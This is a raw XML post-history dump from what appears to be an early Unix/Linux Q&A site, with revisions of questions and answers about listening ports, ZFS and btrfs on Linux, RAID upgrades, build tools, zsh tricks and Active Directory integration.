  <row Id="321" PostHistoryTypeId="5" PostId="29" RevisionGUID="8d51946c-a5b1-47cc-9c98-269afe75aeae" CreationDate="2010-08-10T23:04:31.447" UserId="22" Comment="clarified previous edit" Text="You can do &#xD;&#xA;&#xD;&#xA;    lsof -n | grep -i &quot;TCP\|UDP&quot;&#xD;&#xA;&#xD;&#xA;to see all of your listening ports, but dollars to donuts that ntpd is running: &#xD;&#xA;&#xD;&#xA;    service ntpd status&#xD;&#xA;&#xD;&#xA;And as for &quot;What does socket in use&quot; mean? If I can be forgiven for smoothing over some wrinkles (and for the very basic explanation, apologies of most of this is remedial for you)...TCP/IP (the language of the internet) specifies that each computer has an IP address, which uniquely identifies that computer on the internet. In addition, there are 65,000 numbered ports on each IP address that can be connected to. &#xD;&#xA;&#xD;&#xA;When you want to connect to a web server, you open the site in your browser, but the machinery underneath is actually connecting you to port 80 on the web server's IP. The web server's daemon (the program listening for connections to port 80) uses a &quot;socket&quot; to hold open that port, reserving it for itself. Only one program can use the same port at a time. &#xD;&#xA;&#xD;&#xA;Since you had ntpd running, it was using that port. 'ntpdate' tried to access that port, but since it was already held open, you got the 'socket already in use' error. &#xD;&#xA;&#xD;&#xA;**Edit**&lt;br&gt;&#xD;&#xA;Changed to account for UDP as well" />
  <row Id="322" PostHistoryTypeId="5" PostId="29" RevisionGUID="e61a3e28-0b0a-4874-adce-7ed1c4d6dca3" CreationDate="2010-08-10T23:12:24.460" UserId="22" Comment="added the last grep to eliminate extraneous output" Text="You can do &#xD;&#xA;&#xD;&#xA;    lsof -n | grep -i &quot;TCP\|UDP&quot; | grep -v &quot;ESTABLISHED\|CLOSE_WAIT&quot;&#xD;&#xA;&#xD;&#xA;to see all of your listening ports, but dollars to donuts that ntpd is running: &#xD;&#xA;&#xD;&#xA;    service ntpd status&#xD;&#xA;&#xD;&#xA;And as for &quot;What does socket in use&quot; mean? If I can be forgiven for smoothing over some wrinkles (and for the very basic explanation, apologies of most of this is remedial for you)...TCP/IP (the language of the internet) specifies that each computer has an IP address, which uniquely identifies that computer on the internet. In addition, there are 65,000 numbered ports on each IP address that can be connected to. &#xD;&#xA;&#xD;&#xA;When you want to connect to a web server, you open the site in your browser, but the machinery underneath is actually connecting you to port 80 on the web server's IP. The web server's daemon (the program listening for connections to port 80) uses a &quot;socket&quot; to hold open that port, reserving it for itself. Only one program can use the same port at a time. &#xD;&#xA;&#xD;&#xA;Since you had ntpd running, it was using that port. 'ntpdate' tried to access that port, but since it was already held open, you got the 'socket already in use' error. &#xD;&#xA;&#xD;&#xA;**Edit**&lt;br&gt;&#xD;&#xA;Changed to account for UDP as well" />
  <row Id="323" PostHistoryTypeId="2" PostId="176" RevisionGUID="22be70b3-0762-4492-802b-8e1b7056c8dc" CreationDate="2010-08-10T23:14:27.593" UserId="201" Text="Just wanna add that there are package managers which compiles packages from source, and handles all package dependencies and flags and etc..&#xD;&#xA;&#xD;&#xA;in BSD systems it's ports: [Using the Ports Collection][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;in Debian apt-get package manager can install from source too: [APT HOWTO: Working with source packages][2] (Same goes for Ubuntu, Linux-mint and everything that based on Debian)&#xD;&#xA;&#xD;&#xA;in Gentoo distro using portage package manager which compiles whole system from source only: [Portage Introduction][3]&#xD;&#xA;&#xD;&#xA;Slackware distro can compile packages but I don't know is there's any package manager for this in there.. =)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Anyway you can always compile packages manually like Sandy mentionated above =) Also it must be possible to use apt-get or portage pkg managers in any other distro... &#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ports-using.html&#xD;&#xA;  [2]: http://www.debian.org/doc/manuals/apt-howto/ch-sourcehandling.en.html&#xD;&#xA;  [3]: http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=1" />
  <row Id="324" PostHistoryTypeId="2" PostId="177" RevisionGUID="2f2c36b2-2d36-41cd-afd9-1d0b576583af" CreationDate="2010-08-10T23:16:39.243" UserId="203" Text="How do I set/change the default ftp root folder for a specific user?  I want to be able to create a developer account that homes to different sites on a development box depending on what is currently being worked on.  " />
  <row Id="325" PostHistoryTypeId="1" PostId="177" RevisionGUID="2f2c36b2-2d36-41cd-afd9-1d0b576583af" CreationDate="2010-08-10T23:16:39.243" UserId="203" Text="How do I set the default ftp root for a user?" />
  <row Id="326" PostHistoryTypeId="3" PostId="177" RevisionGUID="2f2c36b2-2d36-41cd-afd9-1d0b576583af" CreationDate="2010-08-10T23:16:39.243" UserId="203" Text="éftpàérootàéuserödefaultà" />
  <row Id="327" PostHistoryTypeId="2" PostId="178" RevisionGUID="71d24141-116d-4c7e-98c0-a6763b0fe383" CreationDate="2010-08-10T23:19:40.563" UserId="201" Text="my favorite feature is NO COLORS! =)&#xD;&#xA;&#xD;&#xA;TERM=xterm-mono or TERM=linux-m depends on OS...&#xD;&#xA;&#xD;&#xA;I really like black and white IRSSI, mc and any other &quot;Text user interface&quot; tool" />
  <row Id="328" PostHistoryTypeId="16" PostId="178" RevisionGUID="71d24141-116d-4c7e-98c0-a6763b0fe383" CreationDate="2010-08-10T23:19:40.563" UserId="-1" />
  <row Id="330" PostHistoryTypeId="5" PostId="165" RevisionGUID="f3164132-3b92-4dff-9a25-745f23844f59" CreationDate="2010-08-10T23:22:21.323" UserId="184" Comment="added 8 characters in body; edited title" Text="what is advantages and disadvantages of ext4 and ReiserFS and JSF and XFS?&#xD;&#xA;each one use for what reason?" />
  <row Id="331" PostHistoryTypeId="4" PostId="165" RevisionGUID="f3164132-3b92-4dff-9a25-745f23844f59" CreationDate="2010-08-10T23:22:21.323" UserId="184" Comment="added 8 characters in body; edited title" Text="what is advantages and disadvantages of ext4 and ReiserFS  and JSF and XFS?" />
  <row Id="332" PostHistoryTypeId="2" PostId="179" RevisionGUID="cd9de283-ae06-4989-b6a2-d54de6a2829d" CreationDate="2010-08-10T23:22:32.760" UserId="203" Text="I am setting up a development server and want to set it up to serve ASP.NET pages using Mono.  I am planning on using Cherokee and Mono ([http://www.cherokee-project.com/doc/cookbook_mono.html][1]) and wondered if anyone had done any performance testing comparing the Unix based stack to the Windows based.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cherokee-project.com/doc/cookbook_mono.html" />
  <row Id="333" PostHistoryTypeId="1" PostId="179" RevisionGUID="cd9de283-ae06-4989-b6a2-d54de6a2829d" CreationDate="2010-08-10T23:22:32.760" UserId="203" Text="Has anyone got any performance numbers comparing IIS and .NET to Cherokee and Mono?" />
  <row Id="334" PostHistoryTypeId="3" PostId="179" RevisionGUID="cd9de283-ae06-4989-b6a2-d54de6a2829d" CreationDate="2010-08-10T23:22:32.760" UserId="203" Text="éperformanceàémonoàéûneàéaspûneà" />
  <row Id="335" PostHistoryTypeId="2" PostId="180" RevisionGUID="7691ca7c-5979-4d68-a69d-7fd67837cff8" CreationDate="2010-08-10T23:25:57.417" UserDisplayName="MichaelK" Text="I use the [conky-colors][1] theme/scripts for one of my desktops. It's a fairly user-friendly way to begin with conky.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gnome-look.org/content/show.php/CONKY-colors?content=92328" />
  <row Id="336" PostHistoryTypeId="2" PostId="181" RevisionGUID="b63552d1-41b9-490e-80fa-1a48a2549185" CreationDate="2010-08-10T23:29:19.177" UserId="201" Text="Fist that comes to my mind is all tools that OSX have in console.. there are tons of more useful commands that unix have. Diskutil it's like partition magic in shell, this tool  have so much options for disk operations that fdisk is really just 10% of what this beast have...&#xD;&#xA;btw osx supports really great Software Raid support you can have JBOD, Strip and Mirror software raid types.. does really unix have this? in your dreams!! ;D&#xD;&#xA;&#xD;&#xA;SystemProfiler - great tool which display all hardware id's,names,models,sn's and stuff like that in a VERY comfortable way.&#xD;&#xA;&#xD;&#xA;darwin kernel isn't totally transparent like in unix.&#xD;&#xA;&#xD;&#xA;darwin have *killall* util =P unix don't, only *skill*&#xD;&#xA;&#xD;&#xA;different file system also.. HFS, HFS+ &#xD;&#xA;&#xD;&#xA;maybe latter i'll remember more =)&#xD;&#xA;" />
  <row Id="337" PostHistoryTypeId="5" PostId="158" RevisionGUID="b8a93aac-9a8d-4527-9a32-ec3c8b5ca23d" CreationDate="2010-08-10T23:34:34.923" UserId="84" Comment="added 14 characters in body" Text="I sometimes compile apps from source and I've either been using &lt;br /&gt;&#xD;&#xA;./configure &lt;br /&gt;&#xD;&#xA;make &lt;br /&gt;&#xD;&#xA;make install &lt;br /&gt;&#xD;&#xA;&#xD;&#xA;but recently, I came across: &lt;br /&gt;&#xD;&#xA;./autogen.sh &lt;br /&gt;&#xD;&#xA;&#xD;&#xA;which generates the configure and make scripts for me and executes them. What other methods to streamline C/C++/C#(mono) compilation exist? Make seems a bit old. Are there new tools out there? Given the choice, which one should I use?" />
  <row Id="338" PostHistoryTypeId="2" PostId="182" RevisionGUID="f0f5145e-627d-4e41-a9c9-5cd92c4802cc" CreationDate="2010-08-10T23:39:34.917" UserDisplayName="Ketil" Text="I use Kate(text) gcc/avr-gcc and make, with Git as VC.&#xD;&#xA;I mainly do embedded stuff in c and computer side in python." />
  <row Id="339" PostHistoryTypeId="16" PostId="137" RevisionGUID="90288f43-baee-48f9-bdcd-89c103da728e" CreationDate="2010-08-10T23:50:21.510" UserId="10" />
  <row Id="340" PostHistoryTypeId="2" PostId="183" RevisionGUID="3368c561-9137-4065-8b0c-364f788408fe" CreationDate="2010-08-10T23:58:42.413" UserId="210" Text="Execute last command as root:&#xD;&#xA;&#xD;&#xA;    sudo !!" />
  <row Id="341" PostHistoryTypeId="16" PostId="183" RevisionGUID="3368c561-9137-4065-8b0c-364f788408fe" CreationDate="2010-08-10T23:58:42.413" UserId="-1" />
  <row Id="342" PostHistoryTypeId="2" PostId="184" RevisionGUID="d0315841-9ec2-40ad-a921-b677b34d4730" CreationDate="2010-08-11T00:05:19.937" UserId="210" Text="Linux drivers come in a form of kernel modules (`*.ko` files), which can be given parameters when loaded into the kernel and usually live in `/lib/modules/&lt;kernel version&gt;`.&#xD;&#xA;&#xD;&#xA;What's the similar arrangement for BSD/OSX? For example, I've just installed MacFUSE and have hard time understanding what exactly did the installer put into my system." />
  <row Id="343" PostHistoryTypeId="1" PostId="184" RevisionGUID="d0315841-9ec2-40ad-a921-b677b34d4730" CreationDate="2010-08-11T00:05:19.937" UserId="210" Text="Explain to a Linux user how do BSD/OSX drivers work" />
  <row Id="344" PostHistoryTypeId="3" PostId="184" RevisionGUID="d0315841-9ec2-40ad-a921-b677b34d4730" CreationDate="2010-08-11T00:05:19.937" UserId="210" Text="éosxàédriversà" />
  <row Id="345" PostHistoryTypeId="6" PostId="13" RevisionGUID="8d9c2e93-8903-48f9-8e59-7b65b8e9e3b0" CreationDate="2010-08-11T00:15:02.850" UserId="138" Comment="edited tags" Text="élinuxàéstartupàéshutdownàébootà" />
  <row Id="346" PostHistoryTypeId="2" PostId="185" RevisionGUID="fea718d4-bba4-4eea-95d9-558be9507ace" CreationDate="2010-08-11T00:18:41.703" UserId="207" Text="I run a software raid array for my backups, but my data has outgrown capacity. &#xD;&#xA;&#xD;&#xA;considering I have a full 2.4GB array with 5*600megs drives and also have 5*2GB drives I would like to swap in, what would be the nicest way to upgrade the array. &#xD;&#xA;&#xD;&#xA;I thought of faulting 1 drive at a time and swapping in a new drive and rebuilding, but I am not sure if at the end of the process I will be able to resize the array&#xD;&#xA;&#xD;&#xA;Thoughts? " />
  <row Id="347" PostHistoryTypeId="1" PostId="185" RevisionGUID="fea718d4-bba4-4eea-95d9-558be9507ace" CreationDate="2010-08-11T00:18:41.703" UserId="207" Text="In place upgrade of a software raid 5 array" />
  <row Id="348" PostHistoryTypeId="3" PostId="185" RevisionGUID="fea718d4-bba4-4eea-95d9-558be9507ace" CreationDate="2010-08-11T00:18:41.703" UserId="207" Text="éraidàésoftwareöraidà" />
  <row Id="349" PostHistoryTypeId="2" PostId="186" RevisionGUID="7dbb4a5b-0138-41a1-9826-a87cc01dd1c7" CreationDate="2010-08-11T00:19:59.500" UserId="207" Text="Could I get ZFS to work properly in Linux? &#xD;&#xA;&#xD;&#xA;Are there any caveats / limitations? " />
  <row Id="350" PostHistoryTypeId="1" PostId="186" RevisionGUID="7dbb4a5b-0138-41a1-9826-a87cc01dd1c7" CreationDate="2010-08-11T00:19:59.500" UserId="207" Text="ZFS under linux, does it work?" />
  <row Id="351" PostHistoryTypeId="3" PostId="186" RevisionGUID="7dbb4a5b-0138-41a1-9826-a87cc01dd1c7" CreationDate="2010-08-11T00:19:59.500" UserId="207" Text="éfilesystemsàézfsà" />
  <row Id="352" PostHistoryTypeId="2" PostId="187" RevisionGUID="14c06bf6-be1d-4d3f-8e48-53b7cba0db0a" CreationDate="2010-08-11T00:26:52.887" UserId="207" Text="[btrfs][1] has finally found its way into the latest kernels, is it considered stable and safe enough to use in a home backup scenario (as an alternative to zfs) ? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Btrfs" />
  <row Id="353" PostHistoryTypeId="1" PostId="187" RevisionGUID="14c06bf6-be1d-4d3f-8e48-53b7cba0db0a" CreationDate="2010-08-11T00:26:52.887" UserId="207" Text="Is btrfs stable enough for home usage? " />
  <row Id="354" PostHistoryTypeId="3" PostId="187" RevisionGUID="14c06bf6-be1d-4d3f-8e48-53b7cba0db0a" CreationDate="2010-08-11T00:26:52.887" UserId="207" Text="éuntaggedà" />
  <row Id="355" PostHistoryTypeId="5" PostId="165" RevisionGUID="0997fef9-7b42-402c-b737-760519194652" CreationDate="2010-08-11T00:28:31.073" UserId="207" Comment="edited body; edited title" Text="what is advantages and disadvantages of ext4 and ReiserFS and JFS and XFS?&#xD;&#xA;each one use for what reason?" />
  <row Id="356" PostHistoryTypeId="4" PostId="165" RevisionGUID="0997fef9-7b42-402c-b737-760519194652" CreationDate="2010-08-11T00:28:31.073" UserId="207" Comment="edited body; edited title" Text="what is advantages and disadvantages of ext4 and ReiserFS  and JFS and XFS?" />
  <row Id="357" PostHistoryTypeId="2" PostId="188" RevisionGUID="070111d5-982e-4d49-8d9f-dfe12f5f8ce7" CreationDate="2010-08-11T00:35:40.793" UserId="190" Text="I have a linux based router that doesn't have the SFTP server installed. Is there a way I can get/put files to it using an sftp like interface, but with scp doing the actual work?" />
  <row Id="358" PostHistoryTypeId="1" PostId="188" RevisionGUID="070111d5-982e-4d49-8d9f-dfe12f5f8ce7" CreationDate="2010-08-11T00:35:40.793" UserId="190" Text="Sftp interface to Scp" />
  <row Id="359" PostHistoryTypeId="3" PostId="188" RevisionGUID="070111d5-982e-4d49-8d9f-dfe12f5f8ce7" CreationDate="2010-08-11T00:35:40.793" UserId="190" Text="ésshàéscpàésftpà" />
  <row Id="360" PostHistoryTypeId="2" PostId="189" RevisionGUID="008460bb-3355-4d78-8cf9-ea96bc3b78b6" CreationDate="2010-08-11T00:39:58.743" UserId="171" Text="You can create a list of the installed software with:&#xD;&#xA;&#xD;&#xA;    $ rpm -qa &gt; instaled-software.log&#xD;&#xA;&#xD;&#xA;Since they are based on different distros I am not sure how you would do the install. &#xD;&#xA;&#xD;&#xA;If I was copying it to a fresh install of the same distro I would, run this as root&#xD;&#xA;&#xD;&#xA;    # yum -y install $(cat /home/user/installed-software.log)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="361" PostHistoryTypeId="2" PostId="190" RevisionGUID="a01e55a5-2c16-4d74-aad1-5c30615ec606" CreationDate="2010-08-11T00:43:53.727" UserId="84" Text="How was the transition to 64 bits handled on Linux/Unix? The Windows world still seems to have issues with it and I'm curious how it was handled in the *nix world." />
  <row Id="362" PostHistoryTypeId="1" PostId="190" RevisionGUID="a01e55a5-2c16-4d74-aad1-5c30615ec606" CreationDate="2010-08-11T00:43:53.727" UserId="84" Text="How was the shift to 64 bits handled on Linux" />
  <row Id="363" PostHistoryTypeId="3" PostId="190" RevisionGUID="a01e55a5-2c16-4d74-aad1-5c30615ec606" CreationDate="2010-08-11T00:43:53.727" UserId="84" Text="é64bitàécommandöhistoryà" />
  <row Id="364" PostHistoryTypeId="2" PostId="191" RevisionGUID="cd160b04-0c06-4b22-8c9c-79295088f05f" CreationDate="2010-08-11T00:52:58.967" UserId="146" Text="I don't know how well they work, but there are two ports of ZFS available for Linux - a [FUSE implementation][1] and a [in-kernel filesystem implementation][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zfs-fuse.net/ &quot;ZFS-FUSE for Linux&quot;&#xD;&#xA;  [2]: http://wiki.github.com/behlendorf/zfs/ &quot;Native ZFS for Linux&quot;" />
  <row Id="365" PostHistoryTypeId="2" PostId="192" RevisionGUID="085141a5-3053-4e15-a648-1c30181f459d" CreationDate="2010-08-11T00:55:39.600" UserId="56" Text="The work required to make the kernel 64-bit was done a *looooong* time ago using DEC Alpha systems.  Programs, however, are a different matter.&#xD;&#xA;&#xD;&#xA;  The general consensus that I've seen so far seems to be:&#xD;&#xA;&#xD;&#xA; - Separate /lib and /lib64 directories for systems that have mixed binaries&#xD;&#xA; - Compile as 64-bit; if compilation fails, recompile as 32-bit until the source can be cleared for 64-bit.&#xD;&#xA;&#xD;&#xA;Other than that, you're really not going to see a whole lot of &quot;grief&quot; from mixed 32/64 bit builds.&#xD;&#xA;" />
  <row Id="366" PostHistoryTypeId="2" PostId="193" RevisionGUID="b503f21a-baaf-40a5-af82-fc500af690c4" CreationDate="2010-08-11T00:58:02.730" UserId="56" Text="No, and while fuse-ZFS is the bee's knees (having tried it) I wouldn't use it either.  It's not a stability issue - both are fairly stable - but one of code maturity." />
  <row Id="367" PostHistoryTypeId="2" PostId="194" RevisionGUID="1aede8ac-b300-4ae7-acbc-ad8741c29bba" CreationDate="2010-08-11T00:58:28.330" UserId="138" Text="ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL.&#xD;&#xA;&#xD;&#xA;Today, your best options are:&#xD;&#xA;&#xD;&#xA; - Switch to &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot;&gt;btrfs&lt;/a&gt;, which has similar features to ZFS but doesn't have the GPL license conflict and is already present in the mainline kernel for testing as of a release or two ago.&#xD;&#xA;&#xD;&#xA; - Use a different OS for your file server (FreeBSD 8, say) and use NFS to connect it to your Linux boxes&#xD;&#xA;&#xD;&#xA; - Use &lt;a href=&quot;http://zfs-on-fuse.blogspot.com/&quot;&gt;ZFS on FUSE&lt;/a&gt;, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performance&#xD;&#xA;&#xD;&#xA;Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition." />
  <row Id="368" PostHistoryTypeId="2" PostId="195" RevisionGUID="47e1ba91-4977-4402-aa03-63e03e301ca5" CreationDate="2010-08-11T00:58:57.923" UserId="56" Text="You can with the FUSE version of ZFS.  The limitation is that it runs as a userspace process." />
  <row Id="369" PostHistoryTypeId="2" PostId="196" RevisionGUID="5a23b6af-0b6f-43cd-8468-6f35ee294982" CreationDate="2010-08-11T01:04:23.793" UserId="80" Text="Many nice RAID controllers can take a RAID 1 array, and when you add another drive, allow you to convert it on the fly to RAID5, of course, now twice the size. &#xD;&#xA;&#xD;&#xA;The AMI/LSI based controllers have been doing this for a few years (is it a decade yet?).  Dell PERC's, Compaq/HP's Smart Array controllers have often used these chipsets. " />
  <row Id="370" PostHistoryTypeId="2" PostId="197" RevisionGUID="7ee87876-42ff-457d-b4ae-92f5604106ff" CreationDate="2010-08-11T01:06:17.503" UserId="80" Text="PAM LDAP against Active Directory should work fine." />
  <row Id="371" PostHistoryTypeId="2" PostId="198" RevisionGUID="58ea5e91-8918-490a-98fb-89e055f999fd" CreationDate="2010-08-11T01:28:06.660" UserId="183" Text="There are two &quot;Big players&quot; in this area; Cmake, and GnuAutotools.&#xD;&#xA;&#xD;&#xA;* GnuAutotools is the Gnu way to do things, and is fairly focused on *nix.  It's a sort of meta-build system, providing a set of tools that generate specific config and make files for what you're trying to do.  This helps you make more changes in your code without having to directly manipulate your build system, and it helps others build your code in ways you hadn't designed for- under *nix.&#xD;&#xA;&#xD;&#xA;* Cmake is the cross-platform way to do things.  The Cmake team builds software on many many many different ways, with GCC, Visual Studio, XCode, Windows, OSX, Solaris, BSD, GNU/Linux, whatever.  If you are at all concerned with portability of your code base, this is the way to go.&#xD;&#xA;&#xD;&#xA;As has been mentioned, some people appear to be fond of Scons.  If you're familiar with Python this might provide more consistency in your working environment.&#xD;&#xA;&#xD;&#xA;Ruby also has a sort of meta-build system called Rake, which is pretty cool in it's own right, and is very handy for those already familiar with Ruby." />
  <row Id="372" PostHistoryTypeId="2" PostId="199" RevisionGUID="d1d22651-52da-4975-a5a9-8d5ca40a3223" CreationDate="2010-08-11T01:34:33.650" UserId="224" Text="Another useful ZSH trick:&#xD;&#xA;&#xD;&#xA;Treat the output of a command as a file:&#xD;&#xA;&#xD;&#xA;    emacs =(hg cat -r 100 somefile)&#xD;&#xA;&#xD;&#xA;This opens an old version of a Mercurial-tracked file in emacs for syntax-highlighted viewing.  Without that, I would have to mess around with `hg revert`, `hg archive`, or explicitly send `hg cat` output to a temporary file.&#xD;&#xA;&#xD;&#xA;Of course, this works with any program that opens files, and any program that prints to standard output." />
  <row Id="373" PostHistoryTypeId="16" PostId="199" RevisionGUID="d1d22651-52da-4975-a5a9-8d5ca40a3223" CreationDate="2010-08-11T01:34:33.650" UserId="-1" />
  <row Id="374" PostHistoryTypeId="5" PostId="194" RevisionGUID="9b860117-f9d6-4015-a1fa-ba65d4b81289" CreationDate="2010-08-11T01:39:46.443" UserId="138" Comment="answered comments below" Text="ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL.&#xD;&#xA;&#xD;&#xA;Today, your best options are:&#xD;&#xA;&#xD;&#xA; - Switch to &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot;&gt;btrfs&lt;/a&gt;, which has similar features to ZFS but doesn't have the GPL license conflict and is already present in the mainline kernel for testing as of a release or two ago.&#xD;&#xA;&#xD;&#xA; - Use a different OS for your file server (FreeBSD 8, say) and use NFS to connect it to your Linux boxes&#xD;&#xA;&#xD;&#xA; - Use &lt;a href=&quot;http://zfs-on-fuse.blogspot.com/&quot;&gt;ZFS on FUSE&lt;/a&gt;, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performance&#xD;&#xA;&#xD;&#xA;Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition.&#xD;&#xA;&#xD;&#xA;**EDIT**: As for whether the two will ever merge, or one be deprecated in favor of the other, I obviously can only opine, since I don't have any say in any of this.  What I can observe is that, although ZFS has gotten a lot of hype, the longstanding licensing issue and the still-ongoing &lt;a href=&quot;http://www.sun.com/lawsuit/zfs/&quot;&gt;patent lawsuit with NetApp&lt;/a&gt; over it cast a pretty dark shadow over its future.  First-to-market isn't always the winner.&#xD;&#xA;&#xD;&#xA;**EDIT**: As for the advisability of using the &lt;a href=&quot;http://github.com/behlendorf/zfs&quot;&gt;Behlendorf ZFS port for Linux&lt;/a&gt;, the &lt;a href=&quot;http://wiki.github.com/behlendorf/zfs/faq&quot;&gt;first question in their FAQ&lt;/a&gt; expands on what I said above: it'll never be in the official kernel due to the licensing conflict, though this doesn't stop you from integrating the two at your site, as long as you don't distribute the combination.  That's enough to kill it for me.  First, I want the freedom to build up a Linux box, then sell it to someone: that violates the clause of the GPL that lets you do on-site integration as long as the result doesn't get distributed.  Second, I want my Linux distro to be able to create all filesystems at install time, which means they also need the freedom to distribute the kernel with the filesystems in it that I want to use." />
  <row Id="375" PostHistoryTypeId="2" PostId="200" RevisionGUID="97eae882-9b7f-45ec-9fcb-b1dc34c1baa0" CreationDate="2010-08-11T01:41:42.743" UserId="224" Text="ZSH has global aliases.  It expands the alias anywhere in the command line.  I've found this useful for hostnames:&#xD;&#xA;&#xD;&#xA;E.g.:&#xD;&#xA;&#xD;&#xA;    alias -g sub='sub.domain.tld'&#xD;&#xA;&#xD;&#xA;Then, I can do e.g.:&#xD;&#xA;&#xD;&#xA;    sftp sub&#xD;&#xA;    ssh sub&#xD;&#xA;&#xD;&#xA;etc." />
  <row Id="376" PostHistoryTypeId="16" PostId="200" RevisionGUID="97eae882-9b7f-45ec-9fcb-b1dc34c1baa0" CreationDate="2010-08-11T01:41:42.743" UserId="-1" />
  <row Id="377" PostHistoryTypeId="5" PostId="194" RevisionGUID="3523a4ca-4239-4ee7-a62d-22d92aa5805d" CreationDate="2010-08-11T01:46:43.213" UserId="138" Comment="clarified reasons I can't recommend the Behlendorf ZFS port" Text="ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL.&#xD;&#xA;&#xD;&#xA;Today, your best options are:&#xD;&#xA;&#xD;&#xA; - Switch to &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot;&gt;btrfs&lt;/a&gt;, which has similar features to ZFS but doesn't have the GPL license conflict and is already present in the mainline kernel for testing as of a release or two ago.&#xD;&#xA;&#xD;&#xA; - Use a different OS for your file server (FreeBSD 8, say) and use NFS to connect it to your Linux boxes&#xD;&#xA;&#xD;&#xA; - Use &lt;a href=&quot;http://zfs-on-fuse.blogspot.com/&quot;&gt;ZFS on FUSE&lt;/a&gt;, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performance&#xD;&#xA;&#xD;&#xA;Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition.&#xD;&#xA;&#xD;&#xA;**EDIT**: As for whether the two will ever merge, or one be deprecated in favor of the other, I can only opine, since I don't have any say in any of this.  What I can observe is that, although ZFS has gotten a lot of hype, the longstanding licensing issue and the still-ongoing &lt;a href=&quot;http://www.sun.com/lawsuit/zfs/&quot;&gt;patent lawsuit with NetApp&lt;/a&gt; over it cast a pretty dark shadow over its future.  First-to-market isn't always the winner.  Just as PNG was created to solve a patent problem with GIF and substantially replaced it over the span of several years, btrfs may someday push ZFS out of the limelight.&#xD;&#xA;&#xD;&#xA;**EDIT**: As for the advisability of using the &lt;a href=&quot;http://github.com/behlendorf/zfs&quot;&gt;Behlendorf ZFS port for Linux&lt;/a&gt;, the &lt;a href=&quot;http://wiki.github.com/behlendorf/zfs/faq&quot;&gt;first question in their FAQ&lt;/a&gt; expands on what I said above: it'll never be in the official kernel due to the licensing conflict, though this doesn't stop you from integrating the two at your site, as long as you don't distribute the combination.  That's enough to kill it for me.  First, I want the freedom to build up a Linux box, then sell it to someone: that violates the clause of the GPL that lets you do on-site integration with code under an incompatible license as long as the result doesn't get distributed.  Second, I want my Linux distro's installer to be able to create all filesystems at install time, which means they also need the freedom to distribute the kernel with the filesystems in it that I want to use.  If it doesn't come built into my Linux distro of choice, I won't use it in production." />
  <row Id="378" PostHistoryTypeId="2" PostId="201" RevisionGUID="6979cbb8-ee89-44db-a1df-d32ae2a31d0e" CreationDate="2010-08-11T01:49:22.083" UserId="224" Text="Windows and *ix used different data models for the transition.  This UNIX.org [page](http://www.unix.org/version2/whatsnew/lp64_wp.html) is a bit old, but it still provides a good overview of the trade-offs (note that `long long` was later added to C99, and was required to be at least 64-bit).  You can also see a [Wikipedia article][1] on the same topic.  As advocated at the end of the UNIX.org article, most UNIX-like systems have gone with LP64, which means `long`, `long long`, and pointers are all 64-bit bit.&#xD;&#xA;&#xD;&#xA;Windows went with what's called the LLP64 data model, which means that only `long long` and pointers are 64-bit.  `long` remains 32-bit.  Part of the reason was simply that they didn't want to go through and fix broken code that assumed `long` fit in an `int`.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/64-bit#64-bit_data_models" />
  <row Id="379" PostHistoryTypeId="2" PostId="202" RevisionGUID="4542a0ba-a8ce-49d4-9d96-b6be04283b5a" CreationDate="2010-08-11T01:50:29.197" UserId="22" Text="I highly highly highly (highly) recommend using &lt;a href=&quot;http://www.likewise.com/products/likewise_open/&quot;&gt;Likewise Open&lt;/a&gt; to do this. Every time I talk about them, I sound like a paid shill, but I'm not. It's just really that good. &#xD;&#xA;&#xD;&#xA;Essentially, you install the software (painless, there's an RPM and DEB intaller), run &quot;domainjoin-cli domain.com adminuser&quot;, type the password for &quot;adminuser&quot;, and then your machine is part of the AD domain. &#xD;&#xA;&#xD;&#xA;The one thing that I do change is in the configuration, I turn on the the assume default domain setting, because I don't want my users to have to type their domain every time they connect to the machine. &#xD;&#xA;&#xD;&#xA;The benefits are huge. When you log in with AD credentials, your UID and GIDs are assigned based on a hash, which means that they're the same across the entire infrastructure. This means that things like NFS work. In addition, it's simple to get things like Samba and Apache to authenticate, since Likewise configures PAM. &#xD;&#xA;&#xD;&#xA;Thanks to Likewise Open, there is not a single network-based service that I offer that isn't authenticated against AD." />
  <row Id="380" PostHistoryTypeId="2" PostId="203" RevisionGUID="077502bd-3d57-41ce-950e-80d5a9c27e32" CreationDate="2010-08-11T02:01:04.257" UserId="224" Text="You can use [`fish`][1] (files transferred over shell protocol).  There are various client implementations, but none require any server any support beyond regular SSH.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol" />
  <row Id="381" PostHistoryTypeId="2" PostId="204" RevisionGUID="14294a19-7c04-4db8-8eca-28423ae2ba19" CreationDate="2010-08-11T02:05:28.253" UserId="22" Text="I use &lt;a href=&quot;http://www.veeam.com/vmware-esxi-fastscp.html&quot;&gt;Veam Fast SCP&lt;/a&gt; for this. It's very handy when dealing with ESXi, since that only has scp enabled, but it will also deal with  any scp-enabled machine. " />
